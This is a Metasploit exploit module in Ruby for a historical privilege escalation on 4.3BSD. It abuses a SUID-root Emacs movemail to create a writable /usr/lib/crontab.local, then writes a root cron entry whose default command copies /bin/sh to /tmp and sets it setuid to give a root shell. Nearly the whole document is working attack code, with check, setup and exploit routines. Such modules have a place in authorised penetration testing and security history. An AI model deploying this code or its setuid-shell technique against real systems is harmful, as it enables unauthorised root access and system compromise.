Emacs – movemail Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Emacs movemail Privilege Escalation', 'Description' => %q{ This module exploits a SUID installation of the Emacs movemail utility to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local. The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg. }, 'Author' => [ 'Markus Hess', # Discovery? atrun(8) exploit for sure 'Cliff Stoll', # The Cuckoo's Egg hacker tracker 'wvu' # Module and additional research ], 'References' => [ %w[URL https://en.wikipedia.org/wiki/Movemail], %w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg], %w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf], %w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html], %w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html], %w[URL https://mailutils.org/manual/html_node/movemail.html] ], 'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'SessionTypes' => %w[shell], 'Privileged' => true, 'Payload' => {'BadChars' => "\n", 'Encoder' => 'generic/none'}, 'Targets' => [['/usr/lib/crontab.local', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh' } )) register_options([ OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def bin_path '/bin:/usr/bin:/usr/ucb:/etc' end def movemail datastore['MOVEMAIL'] end def crontab_local '/usr/lib/crontab.local' end def crontab(cmd) "* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}" end # uname(1) does not exist, technique from /etc/rc.local def is_43bsd? cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD') end # id(1) does not exist def is_root? cmd_exec('whoami').include?('root') end # test -u does not exist def setuid_root?(path) cmd_exec("find #{path} -user root -perm -4000 -print").include?(path) end def setup super vprint_status("Setting a sane $PATH: #{bin_path}") case cmd_exec('echo $SHELL') when %r{/bin/sh} vprint_status('Current shell is /bin/sh') cmd_exec("PATH=#{bin_path}; export PATH") when %r{/bin/csh} vprint_status('Current shell is /bin/csh') cmd_exec("setenv PATH #{bin_path}") else vprint_bad('Current shell is unknown') end vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}") end def check unless is_43bsd? vprint_warning('System does not appear to be 4.3BSD') end unless file?(movemail) vprint_bad("#{movemail} not found") return CheckCode::Safe end unless movemail.end_with?('movemail') vprint_warning("#{movemail} has an unexpected name") end unless setuid_root?(movemail) vprint_status("Non-SUID-root #{movemail} found") return CheckCode::Detected end vprint_good("SUID-root #{movemail} found") CheckCode::Appears end def exploit if is_root? print_good('Session is already root, executing payload directly') return cmd_exec(payload.encoded) end unless check == CheckCode::Appears || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end # outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666); if file?(crontab_local) fail_with(Failure::NoTarget, "#{crontab_local} already exists") end print_status('Preparing crontab with payload') tab = crontab(payload.encoded) vprint_line(tab) # umask (umask (0) & 0333); # (void) ftruncate (indesc, 0L); print_status("Creating writable #{crontab_local}") cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})") unless writable?(crontab_local) fail_with(Failure::NoAccess, "#{crontab_local} is not writable") end print_good("Writing crontab to #{crontab_local}") cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}") print_warning('Please wait at least one minute for effect') end end |